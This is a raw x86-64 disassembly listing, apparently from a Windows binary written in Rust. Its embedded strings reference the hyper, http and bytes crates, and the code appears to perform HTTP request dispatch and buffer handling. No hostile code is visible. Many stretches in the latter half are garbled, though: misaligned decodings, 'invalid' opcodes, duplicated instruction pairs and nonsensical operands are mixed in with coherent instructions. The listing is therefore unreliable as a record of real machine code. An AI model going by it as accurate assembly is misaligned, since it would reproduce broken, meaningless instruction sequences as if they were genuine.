lea rcx, [rsp + 0x1470]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x1450], xmm0
mov qword [rsp + 0x1460], r14
mov qword [rsp + 0x1468], rbx
lea rax, [0x140140b08]
mov qword [rsp + 0x1488], rax
mov qword [rsp + 0x1490], 7
cmp byte [rdi + 0x120], 0
je 0x140084156
mov rax, qword [rsp + 0x1490]
mov qword [rsp + 0x810], rax
movaps xmm0, xmmword [rsp + 0x1450]
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x1468]
movaps xmm1, xmmword [rsp + 0x1470]
mov rdx, qword [rsp + 0x1480]
mov qword [rsp + 0x800], rdx
mov rdx, qword [rsp + 0x1488]
mov qword [rsp + 0x808], rdx
movaps xmmword [rsp + 0x7f0], xmm1
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rcx
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
cmp rax, rcx
mov rbx, qword [rsp + 0x50]
jne 0x140083fb9
mov rcx, qword [rsp + 0x5d0]
call fcn.140093000
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
mov rdx, qword [rdi + 0x108]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x100]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 2
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movaps xmm2, xmmword [rsp + 0x7f0]
movaps xmm3, xmmword [rsp + 0x800]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
movups xmmword [rcx + rdx + 0x28], xmm2
movups xmmword [rcx + rdx + 0x38], xmm3
mov r8, qword [rsp + 0x810]
mov qword [rcx + rdx + 0x48], r8
inc rax
mov qword [rdi + 0x110], rax
lea r14, [rsp + 0x1450]
jmp 0x1400845ef
cmp qword [rsp + 0x1450], 0
je 0x14008434e
mov eax, 1
mov rsi, qword [rsp + 0x1460]
mov rcx, rsi
jmp 0x14008437c
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x7e0], r14
mov qword [rsp + 0x7e8], rbx
mov rcx, qword [rsp + 0xc0]
lea r12, [rsp + 0x7d0]
mov rdx, r12
call fcn.1400930a0
jmp 0x1400845e2
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x7e0], r14
mov qword [rsp + 0x7e8], rbx
mov rcx, qword [rsp + 0xc0]
lea r12, [rsp + 0x7d0]
mov rdx, r12
call fcn.1400930a0
mov eax, 5
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
jmp 0x1400845ff
lea r9, [rsp + 0x808]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x343], r9d
mov dword [rsp + 0x340], r8d
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], rcx
mov byte [rdi + 0xa0], dl
mov eax, dword [rsp + 0x340]
mov ecx, dword [rsp + 0x343]
mov rdx, qword [rsp + 0x5d8]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov rcx, r14
call fcn.14005b7d0
jmp 0x1400832df
movzx r15d, byte [rsp + 0x1482]
movzx ebp, byte [rsp + 0x1483]
mov eax, ebp
sub al, r15b
movzx r12d, al
add r12, r14
jb 0x140084d92
mov rcx, r12
add rcx, 7
jb 0x140084d92
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x140084297
mov r8, qword [rdi + 0xd8]
mov rax, qword [rdi + 0xe8]
sub r8, rax
cmp r8, rcx
jae 0x140084297
mov rbx, rax
sub rbx, rdx
jb 0x1400854ec
mov qword [rdi + 0xe8], 0
je 0x1400841e2
mov rcx, qword [rdi + 0xe0]
add rdx, rcx
mov r8, rbx
call fcn.140106530
mov qword [rdi + 0xe8], rbx
mov qword [rdi + 0xf0], 0
jmp 0x140084297
mov rdx, qword [rsp + 0x1488]
mov rbx, qword [rsp + 0x1490]
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
test rbx, rbx
je 0x14008432b
mov rax, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe8]
sub rax, r14
cmp rax, rbx
jb 0x140084306
mov rcx, qword [rdi + 0xe0]
add rcx, r14
mov r8, rbx
call fcn.140106530
add r14, rbx
mov qword [rdi + 0xe8], r14
lea rcx, [rsp + 0x1450]
mov rdx, rbx
call 0x140092e60
movzx r15d, byte [rsp + 0x1482]
movzx ebp, byte [rsp + 0x1483]
mov eax, ebp
sub al, r15b
movzx r12d, al
mov r14, qword [rsp + 0x1460]
add r12, r14
jb 0x140084d92
test r12, r12
je 0x140084200
cmp bpl, r15b
lea r12, [rsp + 0x7d0]
jne 0x1400842d0
mov rdx, qword [rsp + 0x1458]
mov rbx, r14
mov r15, qword [rsp + 0x30]
test rbx, rbx
jne 0x140084226
jmp 0x14008432b
movzx edx, r15b
movzx ebx, bpl
jb 0x140084e87
cmp bpl, 0x12
mov r15, qword [rsp + 0x30]
ja 0x140084e73
sub rbx, rdx
lea rax, [rsp + 0x1470]
add rdx, rax
test rbx, rbx
jne 0x140084226
jmp 0x14008432b
mov rcx, qword [rsp + 0xc0]
mov r15, rdx
mov rdx, r14
mov r8, rbx
call fcn.140108ba0
mov rdx, r15
mov r14, qword [rdi + 0xe8]
jmp 0x140084240
mov rax, qword [rsp + 0x1450]
mov rdx, qword [rsp + 0x1458]
lea rcx, [rsp + 0x1468]
mov r8, r14
call qword [rax + 0x10]
jmp 0x1400845e2
mov rdx, qword [rsp + 0x1458]
mov rax, qword [rsp + 0x1460]
mov rcx, r12
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x7e0]
mov rax, qword [rsp + 0x7d0]
mov rsi, qword [rsp + 0x7d8]
test rax, rax
sete bl
cmp rcx, rsi
setne bpl
movaps xmm0, xmmword [rsp + 0x1450]
movaps xmm1, xmmword [rsp + 0x1460]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov r14, qword [rdi + 0x1d8]
cmp qword [r14], 0
je 0x1400843bf
lea rcx, [r14 + 8]
call fcn.14005b7d0
or bl, bpl
movzx r9d, bl
mov qword [r14], 1
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [r14 + 8], xmm0
movdqu xmmword [r14 + 0x18], xmm1
mov qword [rsp + 0x20], rsi
mov rcx, r12
mov rdx, rdi
lea r8, [rsp + 0x260]
call fcn.140093250
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
mov rbp, qword [rsp + 0x60]
lea r14, [rsp + 0x1450]
je 0x1400832df
mov rcx, qword [rsp + 0x7d8]
movzx edx, byte [rsp + 0x7e0]
cmp eax, 1
jne 0x140084449
test rcx, rcx
jne 0x140084449
mov eax, edx
and al, 1
movzx eax, al
or rax, 4
jmp 0x140084469
lea r9, [rsp + 0x808]
mov r8d, dword [r9 - 0x27]
mov r9d, dword [r9 - 0x24]
mov dword [rsp + 0x343], r9d
mov dword [rsp + 0x340], r8d
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], rcx
mov byte [rdi + 0xa0], dl
mov eax, dword [rsp + 0x340]
mov ecx, dword [rsp + 0x343]
mov rdx, qword [rsp + 0x5d8]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
jmp 0x1400832df
cmp r14, r12
mov rbx, r12
cmovb rbx, r14
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x140084506
mov rcx, qword [rdi + 0xd8]
mov rax, qword [rdi + 0xe8]
sub rcx, rax
cmp rcx, rbx
jae 0x140084506
mov r15, rax
sub r15, rdx
jb 0x1400854ec
mov qword [rdi + 0xe8], 0
je 0x1400844fb
mov rcx, qword [rdi + 0xe0]
add rdx, rcx
mov r8, r15
call fcn.140106530
mov qword [rdi + 0xe8], r15
mov qword [rdi + 0xf0], 0
mov r15, qword [rsp + 0x348]
test r12, r12
je 0x1400845bc
mov rbp, qword [rdi + 0xe8]
nop
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
sub rax, rbp
cmp rax, rbx
jb 0x140084586
mov rcx, qword [rdi + 0xe0]
add rcx, rbp
mov rdx, r15
mov r8, rbx
call fcn.140106530
add rbp, rbx
mov qword [rdi + 0xe8], rbp
sub r12, rbx
jb 0x140084e4c
mov qword [rsp + 0x6a0], rbx
mov r8, r14
sub r8, rbx
jb 0x140084db6
add r15, rbx
cmp r8, r12
mov rbx, r12
cmovb rbx, r8
mov r14, r8
test rbx, rbx
jne 0x140084520
jmp 0x1400845a2
mov rcx, qword [rsp + 0xc0]
mov rdx, rbp
mov r8, rbx
call fcn.140108ba0
mov rbp, qword [rdi + 0xe8]
jmp 0x140084533
mov qword [rsp + 0x350], r8
mov qword [rsp + 0x348], r15
mov qword [rsp + 0x360], r12
jmp 0x1400845bf
mov r8, r14
mov rax, qword [rsp + 0x340]
lea rcx, [rsp + 0x358]
mov rdx, r15
call qword [rax + 0x10]
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
cmp byte [rdi + 0xa0], 1
mov eax, 5
sbb rax, 0
mov rcx, qword [rsp + 0xc8]
mov qword [rcx], rax
mov bpl, 1
test r13, r13
mov r13, qword [rsp + 0x58]
jne 0x14008464a
cmp qword [rsp + 0x4b0], 0
je 0x14008464a
mov rax, qword [rsp + 0x4b8]
test rax, rax
je 0x140084667
mov rdx, qword [rsp + 0x4c0]
mov r8, qword [rsp + 0x4c8]
lea rcx, [rsp + 0x4d0]
call qword [rax + 0x10]
test bpl, bpl
mov rbp, qword [rsp + 0x60]
je 0x1400832df
cmp qword [rsi], 0
jne 0x1400832d0
jmp 0x1400832d8
mov r12, rbx
mov rbx, qword [rsp + 0x4c0]
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x1400846a9
mov r15, qword [rbx + 0x60]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400846a9
cmp qword [r15 + 0x10], 0x11
jb 0x140084697
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
shl rax, 1
test rax, rax
lea r14, [rsp + 0x1450]
je 0x1400846cf
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x30]
mov rbx, r12
lea r12, [rsp + 0x7d0]
test bpl, bpl
mov rbp, qword [rsp + 0x60]
jne 0x140084658
jmp 0x1400832df
mov rax, qword [rdi + 0x160]
cmp rcx, 2
jne 0x14008474f
test rax, rax
je 0x140084862
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
xor esi, esi
jmp 0x140083272
cmp byte [rdi + 0xc8], 0
jne 0x140083272
test rax, rax
jne 0x140083272
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call case.0x14002a2ab.1640
mov rbx, rdx
test rax, rax
je 0x140084803
cmp rax, 2
je 0x140083272
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov byte [rax + 0x29], 2
mov rsi, rax
mov byte [rax + 0x30], 6
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084fba
mov qword [rax], rbx
mov rdx, rsi
mov qword [rsi], rax
lea rax, [0x14012b520]
mov qword [rsi + 8], rax
xor esi, esi
jmp 0x140083272
mov edx, 0
mov esi, 0
test rbx, rbx
jne 0x140083272
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov rdx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
xor esi, esi
jmp 0x140083272
mov rdx, rax
jmp 0x14008494d
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call case.0x14002a2ab.1640
mov rcx, rdx
cmp rax, 2
je 0x140083272
cmp rax, 1
jne 0x140084a91
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
call fcn.140036f60
mov rdx, rax
cmp byte [rsp + 0x280], 3
jne 0x140084ab4
xor esi, esi
jmp 0x140083272
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov r14, rax
mov word [rax + 0x30], 1
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
mov r13, qword [rsp + 0x58]
je 0x140084fba
mov qword [rax], rbx
mov rdx, r14
mov qword [r14], rax
lea rax, [0x14013df00]
mov qword [r14 + 8], rax
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
cmp qword [rsi], 0
je 0x140084946
mov rcx, rbx
mov rbx, rdx
call fcn.14005b7d0
mov rdx, rbx
mov qword [rsi], 0
xor eax, eax
test rax, rax
jne 0x140083289
test rdx, rdx
lea rsi, [rsp + 0x200]
je 0x1400832a0
jmp 0x140084c21
mov rdx, rax
cmp qword [rsp + 0x4b0], 0
je 0x140084aa5
mov r15, rdx
mov rax, qword [rsp + 0x4b8]
and al, 0xb8
add al, 0
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 + 0x6c], 0x24
pop rax
and al, 0xb8
add al, 0
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 + 0x6c], 0x24
pop rax
mov rbp, qword [rsp + 0x60]
je 0x140084b29
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add al, 0
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add al, 0
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add al, 0
add bh, bh
push rax
adc byte [rcx + rcx*4 - 6], cl
mov rdx, qword [rsp + 0x4c0]
mov r8, qword [rsp + 0x4c8]
lea rcx, [rsp + 0x4d0]
call qword [rax + 0x10]
mov rdx, r15
mov r15, qword [rsp + 0x30]
and al, 0x30
jmp 0x140084932
mov rax, qword [rdi + 0x1a0]
mov eax, dword [rdi + 0x1a0]
mov ecx, 1
xchg qword [rax + 0x10], rcx
mov qword [rsp + 0x580], rcx
cmp rcx, 2
jb 0x140084a84
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
cmp ecx, 3
je 0x140084a00
cmp rcx, 3
je 0x140084a84
jmp 0x14008553d
mov cl, 1
xchg byte [rax + 0x28], cl
test cl, cl
jne 0x140084a00
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov qword [rax + 0x18], 0
mov r8d, 0
xchg byte [rax + 0x28], r8b
test rdx, rdx
je 0x140084a84
call qword [rdx + 8]
lea r14, [rsp + 0x1450]
jmp 0x140083289
mov byte [rdi + 0x1a8], 1
jmp 0x140084a63
lea rcx, [rsp + 0x100]
call fcn.140065ab0
mov rcx, r14
call fcn.140002e60
lea rcx, [rsp + 0x1530]
call fcn.14005b7d0
mov byte [rdi + 0x1e0], 1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
lea r14, [rsp + 0x1450]
jmp 0x140083289
test rcx, rcx
je 0x140084b0f
call fcn.140036f20
mov rdx, rax
xor esi, esi
jmp 0x140083272
mov r13, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
jmp 0x140084932
lea rcx, [rsp + 0x260]
mov rsi, rdx
call fcn.140085650
mov rdx, rsi
xor esi, esi
jmp 0x140083272
mov r9, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rcx, [rsp + 0x118]
mov rbx, rax
call qword [r9 + 0x10]
call qword [rcx + 0x10]
call qword [rcx + 0x10]
mov rdx, rbx
mov rbx, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
lea r14, [rsp + 0x1450]
adc al, 0
add cl, ch
and edi, esi
invalid
invalid
adc al, 0
add cl, ch
and edi, esi
invalid
cmp byte [rdi + 0xd2], 0
je 0x140084bbd
call fcn.140036ee0
mov rdx, rax
jmp 0x140084bbf
mov qword [rsp + 0x50], rbx
pop rsp
and al, 0x50
mov rbx, qword [rsp + 0x4c0]
mov r14, qword [rbx + 0x58]
add al, 0
add byte [rbx + rcx*4 + 0x73], cl
pop rax
test r14, r14
je 0x140084b70
mov r12, qword [rbx + 0x60]
mov rcx, r14
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140084b70
invalid
invalid
cmp qword [r12 + 0x10], 0x11
jb 0x140084b5e
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
shl rax, 1
test rax, rax
lea r14, [rsp + 0x1450]
je 0x140084b96
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, r15
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
jmp 0x14008492d
xor edx, edx
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
xor esi, esi
jmp 0x140083272
mov esi, 1
mov r13, qword [rsp + 0x58]
jmp 0x140083272
mov rdx, rax
xor esi, esi
mov r13, qword [rsp + 0x58]
jmp 0x140083272
mov rdx, rax
xor esi, esi
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
jmp 0x140083272
mov rax, qword [r13]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + 0x10]
mov eax, 1
jmp 0x140084c23
xor edx, edx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20d0]
movaps xmm7, xmmword [rsp + 0x20e0]
movaps xmm8, xmmword [rsp + 0x20f0]
movaps xmm9, xmmword [rsp + 0x2100]
movaps xmm10, xmmword [rsp + 0x2110]
movaps xmm11, xmmword [rsp + 0x2120]
movaps xmm12, xmmword [rsp + 0x2130]
movaps xmm13, xmmword [rsp + 0x2140]
movaps xmm14, xmmword [rsp + 0x2150]
add rsp, 0x2168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rbx
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r15
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r13
mov rdx, r15
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rbp
mov rdx, r14
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r14
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, rax
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rdx, rax
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rbx
call fcn.1401085b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x4b0], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x260]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108970
lea rcx, [0x14014134f]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x14
call fcn.140108990
mov qword [rsp + 0x580], r14
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x238], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x580]
mov qword [rsp + 0x248], rcx
mov qword [rsp + 0x250], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x238]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108560
lea rcx, [0x1401425e2]
lea r8, [0x140142608]
mov edx, 0x23
call fcn.140108630
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
lea r8, [0x1401426d0]
mov edx, 0x12
mov rcx, rbx
call fcn.140108620
lea r8, [0x1401426d0]
mov rcx, rdx
mov rdx, rbx
call fcn.140108810
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1450], rax
lea rax, [0x140039e00]
mov qword [rsp + 0x1458], rax
lea rax, [0x140140820]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 1
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7d0]
call fcn.140108560
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1450], rax
lea rax, [0x140039e00]
mov qword [rsp + 0x1458], rax
lea rax, [0x140140820]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 1
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x7d0]
call fcn.140108560
lea rax, [0x14012cae8]
mov qword [rsp + 0x20], rax
lea rcx, str.CHUNK_SIZE_MAX_BYTES_should_fit_any_usize
lea r9, [0x14012b6b8]
lea r8, [rsp + 0x70]
mov edx, 0x29
call fcn.1401088e0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
jmp 0x14008533f
mov ecx, 8
mov edx, 8
call fcn.1401082c0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r13
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov rcx, r15
mov rdx, r13
call fcn.140108810
lea rax, [rsp + 0x70]
mov qword [rsp + 0x260], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x4b0]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, str.range_start_must_not_be_greater_than_end:
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108560
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov edx, 0x64
mov rcx, r13
call fcn.140108620
lea rcx, [rsp + 0x4c8]
mov rdx, r14
mov r8, rbp
call qword [r13 + 0x10]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x140085338
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x158]
jmp 0x140085335
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0xe0]
jmp 0x140085240
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xe0]
test rax, rax
je 0x140085338
lea rcx, [rsp + 0xf8]
jmp 0x140085325
mov qword [rsp + 0x340], rdx
lea rax, [0x14012c140]
mov qword [rsp + 0x20], rax
lea rcx, str.just_sent_Ok
lea r9, fcn.140035b40
lea r8, [rsp + 0x340]
mov edx, 0xc
call fcn.1401088e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov edx, 0x64
add byte [rdx + 0x64], bh
mov rcx, r13
call fcn.140108620
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
mov qword [rsp + 0x340], r14
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x64dc7
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x64dc7
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, str.cannot_advance_past__remaining_:___
or al, 0
or al, 0
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x260]
jmp 0x140084e24
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rs
call fcn.140108970
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
lea rax, [0x1400e9f80]
lea eax, [0x1400e9f80]
lea eax, [0x1400e9f80]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x140]
invalid
add byte [rax - 0x77], cl
mov word [rax + rsi*2], fs
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xa6cf1
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, str.range_end_out_of_bounds:
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
fadd dword [rdi]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
fadd dword [rdi]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
test byte [rax + rbp*8], ah
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108560
test byte [rax + rbp*8], ah
invalid
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.1401085b0
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
